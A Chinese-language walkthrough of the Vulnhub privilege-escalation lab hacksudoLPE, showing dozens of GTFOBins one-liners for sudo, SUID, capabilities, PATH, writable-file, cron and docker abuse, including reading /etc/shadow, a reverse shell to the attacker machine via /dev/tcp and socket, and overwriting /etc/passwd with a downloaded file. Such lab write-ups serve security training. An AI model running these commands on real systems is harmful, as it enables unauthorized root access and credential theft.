当前位置: 首页 > news >正文

Vulnhub靶机:hacksudoLPE

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudoLPE(10.0.2.47)

目标:获取靶机root权限和flag,该靶机是一个练习提权的靶场,主要以提权为主

靶机下载地址:https://www.vulnhub.com/entry/hacksudo-lpe,698/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.47

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:22、80

在这里插入图片描述

80端口:打开网站发现是一个登录页面,先查看源码发现了隐藏信息:

<font color='white'>
<h3>Username : admin</h3>
<h3>Password : hacksudo</h3>
</font>

在这里插入图片描述
在这里插入图片描述

使用获得的用户名密码登录网站

在这里插入图片描述

三、提权

Challenge 1:Sudo滥用挑战

1)apt-get

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行apt-get

在这里插入图片描述

搜索利用方法:apt get | GTFOBins

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

在这里插入图片描述

获取flag:viluhacker

在这里插入图片描述

所有flag都是一样的为/root/root.txt文件,后续不再附截图了

2)arp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行arp

在这里插入图片描述

搜索利用方法:arp | GTFOBins

LFILE=/etc/shadow
sudo arp -v -f "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格

在这里插入图片描述

切换为root用户

在这里插入图片描述

获取flag:viluhacker

3)awk

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行awk

在这里插入图片描述

搜索利用方法:awk | GTFOBins

sudo awk 'BEGIN {system("/bin/sh")}'

在这里插入图片描述

获取flag:viluhacker

4)base32

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
sudo base32 "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)base64

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行base64

在这里插入图片描述

搜索利用方法:base64 | GTFOBins

LFILE=/etc/shadow
sudo base64 "$LFILE" | base64 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

6)cat

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
sudo cat "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)comm

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行comm

在这里插入图片描述

搜索利用方法:comm | GTFOBins

LFILE=/etc/shadow
sudo comm $LFILE /dev/null 2>/dev/null

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)cp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cp

在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
sudo cp "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

9)curl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行curl

在这里插入图片描述

搜索利用方法:curl | GTFOBins

LFILE=/etc/shadow
sudo curl file://$LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cut

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行cut

在这里插入图片描述

搜索利用方法:cut | GTFOBins

sudo cut -d "" -f1 /etc/shadow

在这里插入图片描述

获取flag:viluhacker

11)dash

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行dash

在这里插入图片描述

搜索利用方法:dash | GTFOBins

sudo dash

在这里插入图片描述

获取flag:viluhacker

12)date

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行date

在这里插入图片描述

搜索利用方法:date | GTFOBins

LFILE=/etc/shadow
sudo date -f $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

13)diff

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行diff

在这里插入图片描述

搜索利用方法:diff | GTFOBins

LFILE=/etc/shadow
sudo diff --line-format=%L /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)find

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行find

在这里插入图片描述

搜索利用方法:find | GTFOBins

sudo find . -exec /bin/sh \; -quit

在这里插入图片描述

获取flag:viluhacker

15)ftp

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ftp

在这里插入图片描述

搜索利用方法:ftp | GTFOBins

sudo ftp
!/bin/sh

在这里插入图片描述

获取flag:viluhacker

16)gcc

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gcc

在这里插入图片描述

搜索利用方法:gcc | GTFOBins

sudo gcc -wrapper /bin/sh,-s .

在这里插入图片描述

获取flag:viluhacker

17)gdb

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行gdb

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

sudo gdb -nx -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

18)ip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行ip

在这里插入图片描述

搜索利用方法:ip | GTFOBins

LFILE=/etc/shadow
sudo ip -force -batch "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

19)pip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行pip

在这里插入图片描述

搜索利用方法:pip | GTFOBins

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

在这里插入图片描述

靶机没有安装pip,提权不了

20)perl

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行perl

在这里插入图片描述

搜索利用方法:perl | GTFOBins

sudo perl -e 'exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

21)socket

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行socket

在这里插入图片描述

搜索利用方法:socket | GTFOBins

攻击机执行:
nc -l -p 12345靶机执行:
RHOST=10.0.2.15
RPORT=12345
sudo socket -qvp '/bin/sh -i' $RHOST $RPORT

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

22)vi

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行vi

在这里插入图片描述

搜索利用方法:vi | GTFOBins

sudo vi -c ':!/bin/sh' /dev/null

在这里插入图片描述

获取flag:viluhacker

23)view

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行view

在这里插入图片描述

搜索利用方法:view | GTFOBins

sudo view -c ':!/bin/sh'

在这里插入图片描述

获取flag:viluhacker

24)wget

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行wget

在这里插入图片描述

搜索利用方法:wget | GTFOBins

TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0

在这里插入图片描述

获取flag:viluhacker

25)watch

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行watch

在这里插入图片描述

搜索利用方法:watch | GTFOBins

sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'

在这里插入图片描述

获取flag:viluhacker

26)xxd

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行xxd

在这里插入图片描述

搜索利用方法:xxd | GTFOBins

LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

27)zip

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以root权限运行zip

在这里插入图片描述

搜索利用方法:zip | GTFOBins

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

在这里插入图片描述

获取flag:viluhacker

Challenge 2:SUID滥用挑战

1)ar

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:ar | GTFOBins

TF=$(mktemp -u)
LFILE=/etc/shadow
./ar r "$TF" "$LFILE"
cat "$TF"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)ash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

r00t和ash文件字节数一样,r00t文件应该是ash

在这里插入图片描述

搜索利用方法:ash | GTFOBins

./r00t -p

在这里插入图片描述

获取flag:viluhacker

3)atobm

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

未发现该程序

搜索利用方法:atobm | GTFOBins

LFILE=/etc/shadow
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
4)base32

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为base32

在这里插入图片描述

搜索利用方法:base32 | GTFOBins

LFILE=/etc/shadow
./dont "$LFILE" | base32 --decode

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

5)bash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:bash | GTFOBins

./bash -p

在这里插入图片描述

获取flag:viluhacker

6)cat

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为cat

在这里插入图片描述

搜索利用方法:cat | GTFOBins

LFILE=/etc/shadow
./hackme "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

7)chmod

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是为chmod

在这里插入图片描述

搜索利用方法:chmod | GTFOBins

LFILE=/etc/shadow
./run 6777 $LFILE
cat /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

8)chroot

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是chroot

在这里插入图片描述

搜索利用方法:chroot | GTFOBins

./rootme / /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

9)cp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cp

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cp | GTFOBins

LFILE=/etc/shadow
./do "$LFILE" /dev/stdout

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

10)cpulimit

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cpulimit

在这里插入图片描述

搜索利用方法:cpulimit | GTFOBins

./take -l 100 -f -- /bin/sh -p

在这里插入图片描述

获取flag:viluhacker

11)cut

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序是cut

在这里插入图片描述
在这里插入图片描述

搜索利用方法:cut | GTFOBins

LFILE=/etc/shadow
./cut -d "" -f1 "$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

12)dash

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:dash | GTFOBins

./shell -p

在这里插入图片描述

获取flag:viluhacker

13)date

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为date

在这里插入图片描述
在这里插入图片描述

搜索利用方法:date | GTFOBins

./date -f /etc/shadow

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

14)make

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

发现该程序为make

在这里插入图片描述

搜索利用方法:make | GTFOBins

COMMAND='/bin/sh -p'
./fast -s --eval=$'x:\n\t-'"$COMMAND"

在这里插入图片描述

获取flag:viluhacker

Challenge 3:Capabilities滥用挑战

1)gdb

登录虚拟终端后,getcap -r / 2>/dev/null查看可执行的文件,来获取内核权限

发现没有回显,getcap 命令不存在

在这里插入图片描述

我们先看一下当前用户home目录下所有文件,发现在./capabiliti/rip4/hack8文件夹里面有一个gdb文件,根据挑战提示,应该是要用gdb文件进行提权

ls -R -la

在这里插入图片描述

搜索利用方法:gdb | GTFOBins

./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

在这里插入图片描述

获取flag:viluhacker

2)node

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个node文件,根据挑战提示,应该是要用node文件进行提权

在这里插入图片描述

搜索利用方法:node | GTFOBins

./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'

在这里插入图片描述

获取flag:viluhacker

3)perl

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个perl文件,根据挑战提示,应该是要用perl文件进行提权

在这里插入图片描述

搜索利用方法:perl | GTFOBins

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

在这里插入图片描述

获取flag:viluhacker

4)php

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现两个php文件,根据挑战提示,应该是要用php文件进行提权

在这里插入图片描述
在这里插入图片描述

搜索利用方法:php | GTFOBins

CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"

在这里插入图片描述

获取flag:viluhacker

5)python

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python文件,根据挑战提示,应该是要用python文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

6)ruby

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,但该用户home文件夹下的文件夹太多了,我们直接用find命令进行查找find ./ -name ruby,发现一个ruby文件,根据挑战提示,应该是要用ruby文件进行提权

在这里插入图片描述

搜索利用方法:ruby | GTFOBins

./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

在这里插入图片描述

获取flag:viluhacker

7)python3

登录虚拟终端后,ls -R -la查看当前用户home目录下所有文件,发现一个python3文件,根据挑战提示,应该是要用python3文件进行提权

在这里插入图片描述

搜索利用方法:python | GTFOBins

./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

在这里插入图片描述

获取flag:viluhacker

Challenge 4:PATH 变量滥用

1)apt-get

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

直接执行该文件看看,发现该文件调用了apt-get命令

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user53/shell

在这里插入图片描述

可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > apt-get
chmod 777 apt-get
echo $PATH
export PATH=/tmp:$PATH
/home/user53/shell

在这里插入图片描述

获取flag:viluhacker

2)ftp

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

可以用strings查看该文件包含的字符串strings /home/user54/run

在这里插入图片描述

直接执行看看

在这里插入图片描述

应该是该文件先设置uid然后调用了ftp命令,可以通过更改系统的环境变量来进行提权

cd /tmp
echo "/bin/sh" > ftp
chmod 777 ftp
export PATH=/tmp:$PATH
/home/user54/run

在这里插入图片描述

获取flag:viluhacker

Challenge 5:可写文件滥用

1)/etc/passwd

登录虚拟终端后,查看/etc目录,并未发现该用户对passwd文件具有写权限,但在该用户的home目录下发现具有suid权限的curl文件

在这里插入图片描述
在这里插入图片描述

可以利用curl文件读取shadow文件进行破解提权,但本次挑战既然是/etc/passwd可写文件滥用,那我们就通过写入/etc/passwd文件的方式进行提权

利用Perl和crypt来使用salt值为我们的密码生成哈希值

perl -le 'print crypt("123456","addedsalt")'

将靶机的passwd复制到攻击机,在passwd添加一条数据,用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限

test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash

使用curl命令将passwd上传到靶机,覆盖靶机passwd文件

查找curl具体用法:curl | GTFOBins

cp /etc/passwd /tmp/passwd.bak
URL=http://10.0.2.15/passwd
LFILE=/etc/passwd
./curl $URL -o $LFILE

在这里插入图片描述

查看/etc/passwd发现存在test用户

在这里插入图片描述

切换为test用户,为root权限

在这里插入图片描述

获取flag:viluhacker

2)script

登录虚拟终端后,ls -la查看当前用户home目录下的文件,发现一个writable.py文件,该文件具有suid权限

在这里插入图片描述

查看writable.py文件的内容,发现该文件调用了os、sys模块,并且尝试修改该文件,发现没有修改权限

在这里插入图片描述

想到调用了os、sys模块,是不是可以修改os或sys模块来达到提权的目的。未发现可编辑的模块。也可能是我思考的方向不对。

扩展:user59用户提权

登录虚拟终端后,查看计划任务:cat /etc/crontab,发现每分钟会以root权限执行/home/user59/cleanup.py文件

在这里插入图片描述

查看该脚本文件,发现我们有该文件的编辑权限

在这里插入图片描述

可以修改该文件进行提权

bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述
在这里插入图片描述

获取flag:viluhacker

Challenge 6:文件读取滥用

1)cpio

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:cpio | GTFOBins,可以读取任意文件

LFILE=/etc/shadow
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

2)git

登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件

在这里插入图片描述

搜索利用方法:git | GTFOBins,可以读取任意文件

LFILE=/etc/sh
./git diff /dev/null $LFILE

在这里插入图片描述

读取/etc/shadow文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户

获取flag:viluhacker

Challenge 7:Docker 滥用

1)docker

登录虚拟终端后,使用id命令发现用户在docker组里面,可以使用docker进行提权

在这里插入图片描述

使用命令:docker images,用于查看本地已下载的镜像,刚开始镜像是不存在的,需要自己进行导入docker pull alpine

由于我的环境靶机和互联网不通,我使用的是离线导入,使用安装登录docker的虚拟机导入镜像,然后将镜像打包上传到靶机

主机导入镜像并打包

sudo docker pull alpine
docker save alpine:latest -o /home/huang/alpine.tar

在这里插入图片描述

靶机离线导入镜像

docker load -i alpine.tar

在这里插入图片描述

搜索利用方法:docker | GTFOBins

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

在这里插入图片描述

Challenge 8:通配符滥用

1)Wildcard

尝试登录虚拟终端,发现不存在该用户名wildcard,没有环境。

靶机上倒是有用户名user61,可能是通配符提权的环境,但登录进去没有找到提权思路。

相关文章:

  • c++ 参数类型不同修饰(const/volatile//)的函数重载优先级
  • ownips的自救指南:一次账号封停事件的心路历程与解决策略
  • 【芯片设计- RTL 数字逻辑设计入门 11.1 -- 状态机实现 移位运算与乘法 1】
  • RabbitMQ-4.MQ的可靠性
  • Qt Windows和Android使用MuPDF预览PDF文件
  • mac电脑flutter环境配置,解决疑难问题
  • 力扣:47. 全排列 II
  • Oracle12c之Sqlplus命令行窗口基本使用
  • LLaMA 模型中的Transformer架构变化
  • LabVIEW电能质量监测系统
  • 详述FlinkSql Join操作
  • c++设计模式之装饰器模式
  • 为电子表格嵌入数据库,Excel/WPS一键升级为管理系统
  • 零基础学Python之网络编程
  • 【Linux】缓冲区与缓冲区的刷新策略
  • CentOS 7 防火墙操作
  • express如何解决request entity too large问题
  • Go 语言编译器的 //go: 详解
  • laravel5.5 视图共享数据
  • MD5加密原理解析及OC版原理实现
  • PHP 7 修改了什么呢 -- 2
  • SpringBoot几种定时任务的实现方式
  • 测试如何在敏捷团队中工作?
  • 大主子表关联的性能优化方法
  • 力扣(LeetCode)357
  • 如何设计一个比特币钱包服务
  • 一起来学SpringBoot | 第三篇:SpringBoot日志配置
  • “十年磨一剑”--有赞的HBase平台实践和应用之路 ...
  • Nginx惊现漏洞 百万网站面临“拖库”风险
  • UI设计初学者应该如何入门?
  • ​水经微图Web1.5.0版即将上线
  • (11)MATLAB PCA+SVM 人脸识别
  • (3)(3.5) 遥测无线电区域条例
  • (33)STM32——485实验笔记
  • (6)添加vue-cookie
  • (9)STL算法之逆转旋转
  • (Pytorch框架)神经网络输出维度调试,做出我们自己的网络来!!(详细教程~)
  • (Redis使用系列) Springboot 在redis中使用BloomFilter布隆过滤器机制 六
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (论文阅读32/100)Flowing convnets for human pose estimation in videos
  • (转)shell调试方法
  • ***微信公众号支付+微信H5支付+微信扫码支付+小程序支付+APP微信支付解决方案总结...
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .NET 4.0中使用内存映射文件实现进程通讯
  • .NET 中创建支持集合初始化器的类型
  • .NET6使用MiniExcel根据数据源横向导出头部标题及数据
  • @Autowired和@Resource装配
  • @GetMapping和@RequestMapping的区别
  • [ SNOI 2013 ] Quare
  • [BZOJ4554][TJOI2016HEOI2016]游戏(匈牙利)
  • [C#]winform利用seetaface6实现C#人脸检测活体检测口罩检测年龄预测性别判断眼睛状态检测
  • [CentOs7]iptables防火墙安装与设置
  • [CF226E]Noble Knight's Path
  • [daily][archlinux][game] 几个linux下还不错的游戏
  • [Hive] INSERT OVERWRITE DIRECTORY要注意的问题